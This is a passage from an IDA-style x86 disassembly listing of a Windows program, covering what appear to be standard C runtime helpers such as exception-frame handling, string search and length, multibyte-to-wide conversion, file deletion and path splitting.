		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax+24h], 1
		xor	eax, eax
		inc	eax
		jmp	short loc_413BEF
; ---------------------------------------------------------------------------


loc_413BA2:				; CODE XREF: sub_413B81+10j
		push	1
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_418E69
		add	esp, 20h
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax+24h], 0
		jnz	short loc_413BE0
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_413AD5


loc_413BE0:				; CODE XREF: sub_413B81+52j
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx+1Ch]
		mov	ebp, [ebx+20h]
		jmp	dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
		xor	eax, eax
		inc	eax


loc_413BEF:				; CODE XREF: sub_413B81+1Fj
		pop	ebx
		pop	ebp
		retn
sub_413B81	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413BF2	proc near		; CODE XREF: sub_418BC7+52p
					; sub_418C87+E2p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_4], 0
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, [edi+0Ch]
		mov	ebx, [edi+10h]
		mov	eax, esi
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], esi
		jl	short loc_413C48


loc_413C10:				; CODE XREF: sub_413BF2+51j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_413C1A
		call	sub_418F40


loc_413C1A:				; CODE XREF: sub_413BF2+21j
		mov	ecx, [ebp+arg_8]
		dec	esi
		lea	eax, [esi+esi*4]
		lea	eax, [ebx+eax*4]
		cmp	[eax+4], ecx
		jge	short loc_413C2E
		cmp	ecx, [eax+8]
		jle	short loc_413C33


loc_413C2E:				; CODE XREF: sub_413BF2+35j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_413C3F


loc_413C33:				; CODE XREF: sub_413BF2+3Aj
		mov	eax, [ebp+arg_0]
		dec	[ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], esi


loc_413C3F:				; CODE XREF: sub_413BF2+3Fj
		cmp	[ebp+arg_4], 0
		jge	short loc_413C10
		mov	eax, [ebp+var_4]


loc_413C48:				; CODE XREF: sub_413BF2+1Cj
		mov	ecx, [ebp+arg_C]
		inc	esi
		mov	[ecx], esi
		mov	ecx, [ebp+arg_10]
		mov	[ecx], eax
		cmp	eax, [edi+0Ch]
		ja	short loc_413C5C
		cmp	esi, eax
		jbe	short loc_413C61


loc_413C5C:				; CODE XREF: sub_413BF2+64j
		call	sub_418F40


loc_413C61:				; CODE XREF: sub_413BF2+68j
		pop	edi
		lea	eax, [esi+esi*4]
		pop	esi
		lea	eax, [ebx+eax*4]
		pop	ebx
		leave
		retn
sub_413BF2	endp


; =============== S U B	R O U T	I N E =======================================



sub_413C6C	proc near		; CODE XREF: sub_41883D+28p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		mov	[esi], eax
		call	sub_415456
		mov	eax, [eax+84h]
		mov	[esi+4], eax
		call	sub_415456
		mov	[eax+84h], esi
		mov	eax, esi
		pop	esi
		retn
sub_413C6C	endp


; =============== S U B	R O U T	I N E =======================================



sub_413C94	proc near		; CODE XREF: sub_418980+4Bp

arg_0		= dword	ptr  4

		call	sub_415456
		mov	eax, [eax+84h]
		jmp	short loc_413CAC
; ---------------------------------------------------------------------------


loc_413CA1:				; CODE XREF: sub_413C94+1Aj
		mov	ecx, [eax]
		cmp	ecx, [esp+arg_0]
		jz	short loc_413CB2
		mov	eax, [eax+4]


loc_413CAC:				; CODE XREF: sub_413C94+Bj
		test	eax, eax
		jnz	short loc_413CA1
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_413CB2:				; CODE XREF: sub_413C94+13j
		xor	eax, eax
		retn
sub_413C94	endp


; =============== S U B	R O U T	I N E =======================================



sub_413CB5	proc near		; CODE XREF: sub_418980+9p

arg_0		= dword	ptr  4

		push	esi
		call	sub_415456
		mov	esi, [esp+4+arg_0]
		cmp	esi, [eax+84h]
		jnz	short loc_413CD7
		call	sub_415456
		mov	ecx, [esi+4]
		mov	[eax+84h], ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_413CD7:				; CODE XREF: sub_413CB5+10j
		call	sub_415456
		mov	eax, [eax+84h]
		jmp	short loc_413CED
; ---------------------------------------------------------------------------


loc_413CE4:				; CODE XREF: sub_413CB5+3Cj
		mov	ecx, [eax+4]
		cmp	esi, ecx
		jz	short loc_413CF9
		mov	eax, ecx


loc_413CED:				; CODE XREF: sub_413CB5+2Dj
		cmp	dword ptr [eax+4], 0
		jnz	short loc_413CE4
		pop	esi
		jmp	sub_418F40
; ---------------------------------------------------------------------------


loc_413CF9:				; CODE XREF: sub_413CB5+34j
		mov	ecx, [esi+4]
		mov	[eax+4], ecx
		pop	esi
		retn
sub_413CB5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413D01	proc near		; CODE XREF: sub_41883D+71p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, [ebp+arg_4]
		and	[ebp+var_14], 0
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_C]
		inc	eax
		mov	[ebp+var_10], offset loc_413B5D
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], eax
		mov	eax, large fs:0
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_14]
		mov	large fs:0, eax
		push	[ebp+arg_10]
		push	ecx
		push	[ebp+arg_8]
		call	sub_418F70
		mov	ecx, eax
		mov	eax, [ebp+var_14]
		mov	large fs:0, eax
		mov	eax, ecx
		leave
		retn
sub_413D01	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413D52	proc near		; CODE XREF: sub_418BC7+33p

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		and	[ebp+var_28], 0
		mov	[ebp+var_24], offset sub_413B81
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_14], eax
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		mov	[ebp+var_10], offset loc_413DD5
		mov	[ebp+var_C], esp
		mov	[ebp+var_8], ebp
		mov	eax, large fs:0
		mov	[ebp+var_28], eax
		lea	eax, [ebp+var_28]
		mov	large fs:0, eax
		mov	[ebp+var_34], 1
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_2C], eax
		lea	eax, [ebp+var_30]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax]
		call	sub_415456
		call	dword ptr [eax+74h]
		pop	ecx
		pop	ecx
		and	[ebp+var_34], 0


loc_413DD5:				; DATA XREF: sub_413D52+3Ao
		cmp	[ebp+var_4], 0
		jz	short loc_413DF2
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	ebx, [ebp+var_28]
		mov	[ebx], eax
		mov	large fs:0, ebx
		jmp	short loc_413DFB
; ---------------------------------------------------------------------------


loc_413DF2:				; CODE XREF: sub_413D52+87j
		mov	eax, [ebp+var_28]
		mov	large fs:0, eax


loc_413DFB:				; CODE XREF: sub_413D52+9Ej
		mov	eax, [ebp+var_34]
		pop	ebx
		leave
		retn
sub_413D52	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413E04	proc near		; CODE XREF: sub_41BAF0+5Ap

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset loc_413E1C
		push	[ebp+arg_0]
		call	sub_41E8A6	; RtlUnwind


loc_413E1C:				; DATA XREF: sub_413E04+Bo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_413E04	endp


; =============== S U B	R O U T	I N E =======================================



sub_413E24	proc near		; DATA XREF: sub_413E46+Ao
					; sub_413EAE+9o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

		mov	ecx, [esp+arg_0]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_413E45
		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_C]
		mov	[edx], eax
		mov	eax, 3

locret_413E45:				; CODE XREF: sub_413E24+10j
		retn
sub_413E24	endp


; =============== S U B	R O U T	I N E =======================================



sub_413E46	proc near		; CODE XREF: sub_41BAF0+67p
					; sub_41BAF0+A7p ...

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset sub_413E24
		push	large dword ptr	fs:0
		mov	large fs:0, esp


loc_413E63:				; CODE XREF: sub_413E46:loc_413E9Ej
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_413EA0
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_413EA0
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	[esp+1Ch+var_14], ecx
		mov	[eax+0Ch], ecx
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_413E9E
		push	101h
		mov	eax, [ebx+esi*4+8]
		call	sub_413EDA
		call	dword ptr [ebx+esi*4+8]


loc_413E9E:				; CODE XREF: sub_413E46+44j
		jmp	short loc_413E63
; ---------------------------------------------------------------------------


loc_413EA0:				; CODE XREF: sub_413E46+2Aj
					; sub_413E46+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_413E46	endp


; =============== S U B	R O U T	I N E =======================================



sub_413EAE	proc near		; CODE XREF: sub_418980+55p
		xor	eax, eax
		mov	ecx, large fs:0
		cmp	dword ptr [ecx+4], offset sub_413E24
		jnz	short locret_413ED0
		mov	edx, [ecx+0Ch]
		mov	edx, [edx+0Ch]
		cmp	[ecx+8], edx
		jnz	short locret_413ED0
		mov	eax, 1

locret_413ED0:				; CODE XREF: sub_413EAE+10j
					; sub_413EAE+1Bj
		retn
sub_413EAE	endp


; =============== S U B	R O U T	I N E =======================================



sub_413ED1	proc near		; CODE XREF: sub_418F70+1Ep
					; sub_418F70+40p
		push	ebx
		push	ecx
		mov	ebx, offset dword_42C730
		jmp	short loc_413EE4
sub_413ED1	endp


; =============== S U B	R O U T	I N E =======================================



sub_413EDA	proc near		; CODE XREF: sub_413E46+4Fp
					; sub_41BAF0+78p
		push	ebx
		push	ecx
		mov	ebx, offset dword_42C730
		mov	ecx, [ebp+8]


loc_413EE4:				; CODE XREF: sub_413ED1+7j
		mov	[ebx+8], ecx
		mov	[ebx+4], eax
		mov	[ebx+0Ch], ebp
		pop	ecx
		pop	ebx
		retn	4
sub_413EDA	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_413EF4	proc near		; CODE XREF: sub_405F46+5p
		push	0FFFFFFFFh
		push	eax
		mov	eax, large fs:0
		push	eax
		mov	eax, [esp+0Ch]
		mov	large fs:0, esp
		mov	[esp+0Ch], ebp
		lea	ebp, [esp+0Ch]
		push	eax
		retn
sub_413EF4	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_413F30


loc_413F20:				; CODE XREF: sub_413F30+1Fj
		lea	eax, [edx-1]
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_413F30
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_413F30	proc near		; CODE XREF: sub_405FC7+21p
					; sub_406702+32p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

; FUNCTION CHUNK AT 00413F20 SIZE 00000005 BYTES

		xor	eax, eax
		mov	al, [esp+arg_4]


loc_413F36:				; CODE XREF: sub_413920+74j
		push	ebx
		mov	ebx, eax
		shl	eax, 8
		mov	edx, [esp+4+arg_0]
		test	edx, 3
		jz	short loc_413F5D


loc_413F48:				; CODE XREF: sub_413F30+2Bj
		mov	cl, [edx]
		add	edx, 1
		cmp	cl, bl
		jz	short loc_413F20
		test	cl, cl
		jz	short loc_413FA6
		test	edx, 3
		jnz	short loc_413F48


loc_413F5D:				; CODE XREF: sub_413F30+16j
		or	ebx, eax
		push	edi
		mov	eax, ebx
		shl	ebx, 10h
		push	esi
		or	ebx, eax


loc_413F68:				; CODE XREF: sub_413F30+63j
					; sub_413F30+72j ...
		mov	ecx, [edx]
		mov	edi, 7EFEFEFFh
		mov	eax, ecx
		mov	esi, edi
		xor	ecx, ebx
		add	esi, eax
		add	edi, ecx
		xor	ecx, 0FFFFFFFFh
		xor	eax, 0FFFFFFFFh
		xor	ecx, edi
		xor	eax, esi
		add	edx, 4
		and	ecx, 81010100h
		jnz	short loc_413FAA
		and	eax, 81010100h
		jz	short loc_413F68
		and	eax, 1010100h
		jnz	short loc_413FA4
		and	esi, 80000000h
		jnz	short loc_413F68


loc_413FA4:				; CODE XREF: sub_413F30+6Aj
					; sub_413F30+83j ...
		pop	esi
		pop	edi


loc_413FA6:				; CODE XREF: sub_413F30+23j
		pop	ebx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_413FAA:				; CODE XREF: sub_413F30+5Cj
		mov	eax, [edx-4]
		cmp	al, bl
		jz	short loc_413FE7
		test	al, al
		jz	short loc_413FA4
		cmp	ah, bl
		jz	short loc_413FE0
		test	ah, ah
		jz	short loc_413FA4
		shr	eax, 10h
		cmp	al, bl
		jz	short loc_413FD9
		test	al, al
		jz	short loc_413FA4
		cmp	ah, bl
		jz	short loc_413FD2
		test	ah, ah
		jz	short loc_413FA4
		jmp	short loc_413F68
; ---------------------------------------------------------------------------


loc_413FD2:				; CODE XREF: sub_413F30+9Aj
		pop	esi
		pop	edi
		lea	eax, [edx-1]
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_413FD9:				; CODE XREF: sub_413F30+92j
		lea	eax, [edx-2]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_413FE0:				; CODE XREF: sub_413F30+87j
		lea	eax, [edx-3]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_413FE7:				; CODE XREF: sub_413F30+7Fj
		lea	eax, [edx-4]
		pop	esi
		pop	edi
		pop	ebx
		retn
sub_413F30	endp


; =============== S U B	R O U T	I N E =======================================



sub_413FEE	proc near		; CODE XREF: sub_4065CE+55p
					; sub_40E9C5+239p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]


loc_413FF2:				; CODE XREF: sub_413FEE+Cj
		mov	cx, [eax]
		inc	eax
		inc	eax
		test	cx, cx
		jnz	short loc_413FF2
		sub	eax, [esp+arg_0]
		sar	eax, 1
		dec	eax
		retn
sub_413FEE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414004	proc near		; CODE XREF: sub_4140FA+22p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_4]
		push	ebx
		push	esi
		xor	esi, esi
		xor	eax, eax
		cmp	edx, esi
		push	edi
		jz	loc_4140CB
		mov	ebx, [ebp+arg_C]
		cmp	ebx, esi
		jz	loc_4140F5
		mov	edi, [ebp+arg_0]
		cmp	[edi+14h], esi
		jnz	short loc_414056
		cmp	ebx, esi
		jbe	loc_4140F5


loc_414035:				; CODE XREF: sub_414004+4Bj
		mov	ecx, [ebp+arg_8]
		add	ecx, eax
		movzx	si, byte ptr [ecx]
		mov	[edx], si
		cmp	byte ptr [ecx],	0
		jz	loc_4140F5
		inc	eax
		inc	edx
		inc	edx
		cmp	eax, ebx
		jb	short loc_414035
		jmp	loc_4140F5
; ---------------------------------------------------------------------------


loc_414056:				; CODE XREF: sub_414004+27j
		mov	esi, ds:dword_41F0A8
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	edx
		push	0FFFFFFFFh
		push	ebx
		push	9
		push	dword ptr [edi+4]
		call	esi	; MultiByteToWideChar
		test	eax, eax
		jnz	loc_4140F4
		call	ds:dword_41F008	; RtlGetLastWin32Error
		cmp	eax, 7Ah
		jz	short loc_41408E


loc_41407E:				; CODE XREF: sub_414004+C5j
					; sub_414004+EEj
		call	sub_417C70
		mov	dword ptr [eax], 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_4140F5
; ---------------------------------------------------------------------------


loc_41408E:				; CODE XREF: sub_414004+78j
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_4], eax
		mov	eax, ebx


loc_414096:				; CODE XREF: sub_414004+AEj
		mov	cl, [eax]
		dec	[ebp+var_4]
		test	cl, cl
		jz	short loc_4140B4
		mov	edx, [edi+48h]
		movzx	ecx, cl
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_4140AD
		inc	eax


loc_4140AD:				; CODE XREF: sub_414004+A6j
		inc	eax
		cmp	[ebp+var_4], 0
		jnz	short loc_414096


loc_4140B4:				; CODE XREF: sub_414004+99j
		push	[ebp+arg_C]
		sub	eax, ebx
		push	[ebp+arg_4]
		push	eax
		push	ebx
		push	1
		push	dword ptr [edi+4]
		call	esi	; MultiByteToWideChar
		test	eax, eax
		jnz	short loc_4140F5
		jmp	short loc_41407E
; ---------------------------------------------------------------------------


loc_4140CB:				; CODE XREF: sub_414004+10j
		mov	eax, [ebp+arg_0]
		cmp	[eax+14h], esi
		jnz	short loc_4140DE
		push	[ebp+arg_8]
		call	sub_416000
		pop	ecx
		jmp	short loc_4140F5
; ---------------------------------------------------------------------------


loc_4140DE:				; CODE XREF: sub_414004+CDj
		push	esi
		push	esi
		push	0FFFFFFFFh
		push	[ebp+arg_8]
		push	9
		push	dword ptr [eax+4]
		call	ds:dword_41F0A8	; MultiByteToWideChar
		cmp	eax, esi
		jz	short loc_41407E


loc_4140F4:				; CODE XREF: sub_414004+69j
		dec	eax


loc_4140F5:				; CODE XREF: sub_414004+1Bj
					; sub_414004+2Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_414004	endp


; =============== S U B	R O U T	I N E =======================================



sub_4140FA	proc near		; CODE XREF: sub_4065CE+19p
					; sub_4065CE+49p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		call	sub_415456
		mov	eax, [eax+64h]
		cmp	eax, off_42C7BC
		jz	short loc_41410F
		call	sub_41628E


loc_41410F:				; CODE XREF: sub_4140FA+Ej
		push	[esp+arg_8]
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		push	eax
		call	sub_414004
		add	esp, 10h
		retn
sub_4140FA	endp


; =============== S U B	R O U T	I N E =======================================



sub_414125	proc near		; CODE XREF: sub_4078FA+4D6Cp

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	ds:dword_41F0B8	; DeleteFileA
		test	eax, eax
		jnz	short loc_41413B
		call	ds:dword_41F008	; RtlGetLastWin32Error
		jmp	short loc_41413D
; ---------------------------------------------------------------------------


loc_41413B:				; CODE XREF: sub_414125+Cj
		xor	eax, eax


loc_41413D:				; CODE XREF: sub_414125+14j
		test	eax, eax
		jz	short loc_41414C
		push	eax
		call	sub_417C82
		pop	ecx
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_41414C:				; CODE XREF: sub_414125+1Aj
		xor	eax, eax
		retn
sub_414125	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41414F	proc near		; CODE XREF: sub_4078FA+4CD6p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	14h
		push	offset stru_427750
		call	__SEH_prolog
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_1C], esi
		push	esi
		call	sub_416673
		pop	ecx
		and	[ebp+ms_exc.disabled], 0
		push	esi
		call	sub_418FBC
		mov	[ebp+var_20], eax
		lea	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	esi
		call	sub_414CA3
		mov	[ebp+var_24], eax
		push	esi
		push	[ebp+var_20]
		call	sub_419044
		add	esp, 18h
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_4141A3
		mov	eax, [ebp+var_24]
		call	__SEH_epilog
		retn
sub_41414F	endp


; =============== S U B	R O U T	I N E =======================================



sub_4141A3	proc near		; CODE XREF: sub_41414F+46p
					; DATA XREF: .rdata:stru_427750o
		push	dword ptr [ebp-1Ch]
		call	sub_4166C5
		pop	ecx
		retn
sub_4141A3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4141AD	proc near		; CODE XREF: sub_4078FA+3EE6p
					; sub_40D1EF+F6p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_416000
		cmp	eax, 1
		pop	ecx
		jb	short loc_4141E9
		cmp	byte ptr [ebx+1], 3Ah
		jnz	short loc_4141E9
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jz	short loc_4141E5
		push	2
		push	ebx
		push	esi
		call	sub_4195CB
		add	esp, 0Ch
		and	byte ptr [esi+2], 0


loc_4141E5:				; CODE XREF: sub_4141AD+26j
		inc	ebx
		inc	ebx
		jmp	short loc_4141F3
; ---------------------------------------------------------------------------


loc_4141E9:				; CODE XREF: sub_4141AD+19j
					; sub_4141AD+1Fj
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_4141F3
		and	byte ptr [eax],	0


loc_4141F3:				; CODE XREF: sub_4141AD+3Aj
					; sub_4141AD+41j
		and	[ebp+arg_0], 0
		cmp	byte ptr [ebx],	0
		mov	eax, ebx
		mov	[ebp+var_8], eax
		mov	esi, 0FFh
		jz	short loc_41426B


loc_414206:				; CODE XREF: sub_4141AD+88j
		mov	cl, [eax]
		movzx	edx, cl
		test	byte_47A401[edx], 4
		jz	short loc_414217
		inc	eax
		jmp	short loc_414231
; ---------------------------------------------------------------------------


loc_414217:				; CODE XREF: sub_4141AD+65j
		cmp	cl, 2Fh
		jz	short loc_41422B
		cmp	cl, 5Ch
		jz	short loc_41422B
		cmp	cl, 2Eh
		jnz	short loc_414231
		mov	[ebp+var_4], eax
		jmp	short loc_414231
; ---------------------------------------------------------------------------


loc_41422B:				; CODE XREF: sub_4141AD+6Dj
					; sub_4141AD+72j
		lea	ecx, [eax+1]
		mov	[ebp+arg_0], ecx


loc_414231:				; CODE XREF: sub_4141AD+68j
					; sub_4141AD+77j ...
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_414206
		mov	edi, [ebp+arg_0]
		test	edi, edi
		mov	[ebp+var_8], eax
		jz	short loc_41426B
		cmp	[ebp+arg_8], 0
		jz	short loc_414266
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_41424F
		mov	edi, esi


loc_41424F:				; CODE XREF: sub_4141AD+9Ej
		push	edi
		push	ebx
		push	[ebp+arg_8]
		call	sub_4195CB
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+var_8]


loc_414266:				; CODE XREF: sub_4141AD+98j
		mov	ebx, [ebp+arg_0]
		jmp	short loc_414275
; ---------------------------------------------------------------------------


loc_41426B:				; CODE XREF: sub_4141AD+57j
					; sub_4141AD+92j
		mov	ecx, [ebp+arg_8]
		test	ecx, ecx
		jz	short loc_414275
		and	byte ptr [ecx],	0


loc_414275:				; CODE XREF: sub_4141AD+BCj
					; sub_4141AD+C3j
		mov	edi, [ebp+var_4]
		test	edi, edi
		jz	short loc_4142C8
		cmp	edi, ebx
		jb	short loc_4142C8
		cmp	[ebp+arg_C], 0
		jz	short loc_4142A5
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_41428E
		mov	edi, esi


loc_41428E:				; CODE XREF: sub_4141AD+DDj
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_4195CB
		mov	eax, [ebp+arg_C]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+var_8]


loc_4142A5:				; CODE XREF: sub_4141AD+D7j
		mov	edi, [ebp+arg_10]
		test	edi, edi
		jz	short loc_4142F0
		sub	eax, [ebp+var_4]
		cmp	eax, esi
		jnb	short loc_4142B5
		mov	esi, eax


loc_4142B5:				; CODE XREF: sub_4141AD+104j
		push	esi
		push	[ebp+var_4]
		push	edi
		call	sub_4195CB
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0
		jmp	short loc_4142F0
; ---------------------------------------------------------------------------


loc_4142C8:				; CODE XREF: sub_4141AD+CDj
					; sub_4141AD+D1j
		mov	edi, [ebp+arg_C]
		test	edi, edi
		jz	short loc_4142E6
		sub	eax, ebx
		cmp	eax, esi
		jnb	short loc_4142D7
		mov	esi, eax


loc_4142D7:				; CODE XREF: sub_4141AD+126j
		push	esi
		push	ebx
		push	edi
		call	sub_4195CB
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0


loc_4142E6:				; CODE XREF: sub_4141AD+120j
		mov	eax, [ebp+arg_10]
		test	eax, eax
		jz	short loc_4142F0
		and	byte ptr [eax],	0


loc_4142F0:				; CODE XREF: sub_4141AD+FDj
					; sub_4141AD+119j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4141AD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4142F5	proc near		; CODE XREF: sub_4078FA+3409p
					; sub_4078FA+3436p

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	18h
		push	offset stru_427760
		call	__SEH_prolog
		mov	ebx, [ebp+arg_0]
		mov	edi, ebx
		mov	[ebp+var_1C], ebx
		cmp	[ebp+arg_4], 0
		jg	short loc_414313
		xor	eax, eax
		jmp	short loc_41436A
; ---------------------------------------------------------------------------


loc_414313:				; CODE XREF: sub_4142F5+18j
		mov	esi, [ebp+arg_8]
		mov	[ebp+var_20], esi
		push	esi
		call	sub_416673
		pop	ecx
		and	[ebp+ms_exc.disabled], 0


loc_414324:				; CODE XREF: sub_4142F5+64j
		dec	[ebp+arg_4]
		jz	short loc_41435B
		dec	dword ptr [esi+4]
		js	short loc_414338
		mov	ecx, [esi]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		jmp	short loc_41433F
; ---------------------------------------------------------------------------


loc_414338:				; CODE XREF: sub_4142F5+37j
		push	esi
		call	sub_417455
		pop	ecx


loc_41433F:				; CODE XREF: sub_4142F5+41j
		mov	[ebp+var_24], eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_414351
		cmp	edi, ebx
		jnz	short loc_41435B
		and	[ebp+var_1C], 0
		jmp	short loc_41435E
; ---------------------------------------------------------------------------


loc_414351:				; CODE XREF: sub_4142F5+50j
		mov	[edi], al
		inc	edi
		mov	[ebp+var_28], edi
		cmp	al, 0Ah
		jnz	short loc_414324


loc_41435B:				; CODE XREF: sub_4142F5+32j
					; sub_4142F5+54j
		and	byte ptr [edi],	0


